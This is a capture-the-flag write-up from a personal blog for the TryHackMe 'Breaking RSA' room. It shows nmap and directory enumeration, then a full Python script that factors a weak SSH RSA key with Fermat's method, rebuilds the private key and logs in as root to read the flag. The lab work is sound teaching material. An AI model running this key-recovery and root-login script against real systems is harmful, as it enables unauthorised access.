Supasuge's Blog

Aspiring Information Technology/Cybersecurity Professional


Breaking RSA - TryHackMe Writeup

TryHackMe - Breaking RSA

This room present’s an exercise in which a public RSA SSH key is given to you, the goal to complete this room is to successfully recover the private key and then use the recovered private key to authenticate via SSH. I began with nmap scanning, and after a bit of web directory enumeration, we find a RSA public key SSH entry. We then download this public key, extract n the public modulus, and e the public exponent, and attempt to factor n into it’s prime factors p and q. We are able to do so because this is a bad prime number that was purposefully generated for the sake of this challenge.

#!/usr/bin/python3
def factorize(n):
    print_colored("Performing Fermat's factorization...", "95")
    a = gmpy2.isqrt(n) + 1
    b2 = gmpy2.square(a) - n
    while not gmpy2.is_square(b2):
        a += 1
        b2 = gmpy2.square(a) - n
    p = a + gmpy2.isqrt(b2)
    q = a - gmpy2.isqrt(b2)
    return p, q

Enumeration

┌──(kali㉿kali)-[~/Desktop/THM/BreakingRSA]
└─$ export IP=10.10.94.137
                                                                             
┌──(kali㉿kali)-[~/Desktop/THM/BreakingRSA]
└─$ echo $IP              
10.10.94.137
                                                                             
┌──(kali㉿kali)-[~/Desktop/THM/BreakingRSA]
└─$ nmap -p- -sCV --min-rate 10000 $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 21:44 EDT
Warning: 10.10.94.137 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.94.137
Host is up (0.11s latency).
Not shown: 48282 filtered tcp ports (no-response), 17251 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ff:8c:c9:bb:9c:6f:6e:12:92:c0:96:0f:b5:58:c6:f8 (RSA)
|   256 67:ff:d4:09:ee:2c:8d:eb:94:b3:af:17:8e:dc:94:ae (ECDSA)
|_  256 81:0e:b2:0e:f6:64:76:3c:c3:39:72:c1:29:59:c3:3c (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Jack Of All Trades
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.62 seconds
                                                                             

Open Ports: 22, 80

Web Enumeration

feroxbuster --smart -u http://10.10.108.5/
                                                                             
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.2
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.108.5/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.10.2
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏦  Collect Backups       │ true
 🤑  Collect Words         │ true
 🏁  HTTP methods          │ [GET]
 🎶  Auto Tune             │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       21l       45w      384c http://10.10.108.5/
301      GET        7l       12w      178c http://10.10.108.5/development => http://10.10.108.5/development/
200      GET        1l        2w      725c http://10.10.108.5/development/id_rsa.pub
200      GET        9l       46w      321c http://10.10.108.5/development/log.txt
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_10_10_108_5_-1711158625.state ...
[##>-----------------] - 11s     4275/30023   68s     found:4       errors:0      
[##>-----------------] - 11s     4243/30000   374/s   http://10.10.108.5/ 
[####################] - 0s     30000/30000   131579/s http://10.10.108.5/development/ => Directory listing
[--------------------] - 0s         0/30000   -       http://10.10.108.5/development/id_rsa.pub 
  • Found: http://10.10.108.5/development/id_rsa.pub, http://10.10.108.5/development/log.txt log.txt
The library we are using to generate SSH keys implements RSA poorly. The two
randomly selected prime numbers (p and q) are very close to one another. Such
bad keys can easily be broken with Fermat's factorization method.

Also, SSH root login is enabled.

<https://github.com/murtaza-u/zet/tree/main/20220808171808>

---

id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDrZh8oe8Q8j6kt26IZ906kZ7XyJ3sFCVczs1Gqe8w7ZgU+XGL2vpSD100andPQMwDi3wMX98EvEUbTtcoM4p863C3h23iUOpmZ3Mw8z51b9DEXjPLunPnwAYxhIxdP7czKlfgUCe2n49QHuTqtGE/Gs+avjPcPrZc3VrGAuhFM4P+e4CCbd9NzMtBXrO5HoSV6PEw7NSR7sWDcAQ47cd287U8h9hIf9Paj6hXJ8oters0CkgfbuG99SVVykoVkMfiRXIpu+Ir8Fu1103Nt/cv5nJX5h/KpdQ8iXVopmQNFzNFJjU2De9lohLlUZpM81fP1cDwwGF3X52FzgZ7Y67Je56Rz/fc8JMhqqR+N5P5IyBcSJlfyCSGTfDf+DNiioRGcPFIwH+8cIv9XUe9QFKo9tVI8ElE6U80sXxUYvSg5CPcggKJy68DET2TSxO/AGczxBjSft/BHQ+vwcbGtEnWgvZqyZ49usMAfgz0t6qFp4g1hKFCutdMMvPoHb1xGw9b1FhbLEw6j9s7lMrobaRu5eRiAcIrJtv+5hqX6r6loOXpd0Ip1hH/Ykle2fFfiUfNWCcFfre2AIQ1px9pL0tg8x1NHd55edAdNY3mbk3I66nthA5a0FrKrnEgDXLVLJKPEUMwY8JhAOizdOCpb2swPwvpzO32OjjNus7tKSRe87w==
  • This appears to be a typical RSA Public Key entry for SSH Public Key authentication. Now, I am going to try and extract n, and e the public modulus and public exponent, respectively.

After a bit of googling, I found you can convert this to a typical PEM RSA key by using the following:

ssh-keygen -f id_rsa.pub -e -m PEM > id_rsa.pem
                                                                             
┌──(kali㉿kali)-[~/Desktop/THM/BreakingRSA]
└─$ cat id_rsa.pem
-----BEGIN RSA PUBLIC KEY-----
MIICCgKCAgEA62YfKHvEPI+pLduiGfdOpGe18id7BQlXM7NRqnvMO2YFPlxi9r6U
g9dNGp3T0DMA4t8DF/fBLxFG07XKDOKfOtwt4dt4lDqZmdzMPM+dW/QxF4zy7pz5
8AGMYSMXT+3MypX4FAntp+PUB7k6rRhPxrPmr4z3D62XN1axgLoRTOD/nuAgm3fT
czLQV6zuR6ElejxMOzUke7Fg3AEOO3HdvO1PIfYSH/T2o+oVyfKLXq7NApIH27hv
fUlVcpKFZDH4kVyKbviK/BbtddNzbf3L+ZyV+YfyqXUPIl1aKZkDRczRSY1Ng3vZ
aIS5VGaTPNXz9XA8MBhd1+dhc4Ge2OuyXuekc/33PCTIaqkfjeT+SMgXEiZX8gkh
k3w3/gzYoqERnDxSMB/vHCL/V1HvUBSqPbVSPBJROlPNLF8VGL0oOQj3IICicuvA
xE9k0sTvwBnM8QY0n7fwR0Pr8HGxrRJ1oL2asmePbrDAH4M9LeqhaeINYShQrrXT
DLz6B29cRsPW9RYWyxMOo/bO5TK6G2kbuXkYgHCKybb/uYal+q+paDl6XdCKdYR/
2JJXtnxX4lHzVgnBX63tgCENacfaS9LYPMdTR3eeXnQHTWN5m5NyOup7YQOWtBay
q5xIA1y1SySjxFDMGPCYQDos3TgqW9rMD8L6czt9jo4zbrO7SkkXvO8CAwEAAQ==
-----END RSA PUBLIC KEY-----
  • You could also just import the raw id_rsa.pub… using python the same way you would a PEM key to extract the parameters…. however either way works.

Here is the final solve script:

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import os
import paramiko
import gmpy2

#Print ANSI Colors
def print_colored(text, color_code):
    print(f"\033[{color_code}m{text}\033[0m")
# Print banner
def print_banner(text):
    print_colored(f"\n==== {text} ====\n", "93")

# Fermat's factorization algorithm
def factorize(n):
    print_colored("Performing Fermat's factorization...", "95")
    a = gmpy2.isqrt(n) + 1
    b2 = gmpy2.square(a) - n
    while not gmpy2.is_square(b2):
        a += 1
        b2 = gmpy2.square(a) - n
    p = a + gmpy2.isqrt(b2)
    q = a - gmpy2.isqrt(b2)
    return p, q

# Connect VIA SSH given a IP, user, and path to private RSA key for authentication.
def ssh_command(ip, user, key_path):
    ssh_client = paramiko.SSHClient()
    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh_client.connect(ip, username=user, key_filename=key_path)
    stdin, stdout, stderr = ssh_client.exec_command('find / -iname "flag" -exec cat {} \; 2>/dev/null')
    output = stdout.read().decode()
    ssh_client.close()
    return output

def main():
	# Read key parameters from the public key that was converted from .pub
	key = open("id_rsa.pem", "r").read()
    impKey = RSA.import_key(key)
    


    print_banner("Key Details")
    # n
    print_colored(f"N = {impKey.n}", "96")
    # e
    print_colored(f"E = {impKey.e}", "96")
    # Big length of n (one of the questions)
    print_colored(f"Bit length of N: {impKey.n.bit_length()}", "96")
    # Last 10 digits of N the public Modulus...
    print_colored(f"Last ten digits of N (Question 4): {str(impKey.n)[-10:]}", "96")
    # Performing fermat's factorization of N...
    print_banner("Factorizing N")
    p, q = factorize(impKey.n)
    # sanity check
    assert impKey.n == p * q
    print_colored("Factorization successful", "92")
    print_colored(f"p = {p}", "96")
    print_colored(f"q = {q}", "96")

    print_banner("Calculating Private Key Components")
    phi = (p - 1) * (q - 1)
    d = inverse(impKey.e, phi)
    print_colored("Private key components calculated", "92")
    print_colored(f"d = {d}", "96")
    d = int(d)

	# Reconstructing the private key with n, e, d
    print_banner("Reconstructing Private Key")
    key = RSA.construct((impKey.n, impKey.e, d))
    private_key = key.export_key("PEM")
    print_colored("Private key reconstructed", "92")
	# Save the private key to a file, and give the permissions '600' for SSH Key authentication
    print_banner("Saving Private Key")
    with open("id_rsa", "wb") as f:
        f.write(private_key)
    os.chmod("./id_rsa", 0o600)
    print_colored("Private key saved with correct permissions", "92")

	# Connect via SSH using the private key and run the command on the host, then print the output
    print_banner("SSH Command Execution")
    flag_output = ssh_command("10.10.108.5", "root", "./id_rsa")
    print_colored(f"Flag: {flag_output}", "91")

	# Answer to one of the questions.
    print_banner("Absolute Difference")
    Q6 = abs(p - q)
    print_colored(f"Absolute difference between p and q: {Q6}", "96")

if __name__ == "__main__":
    main()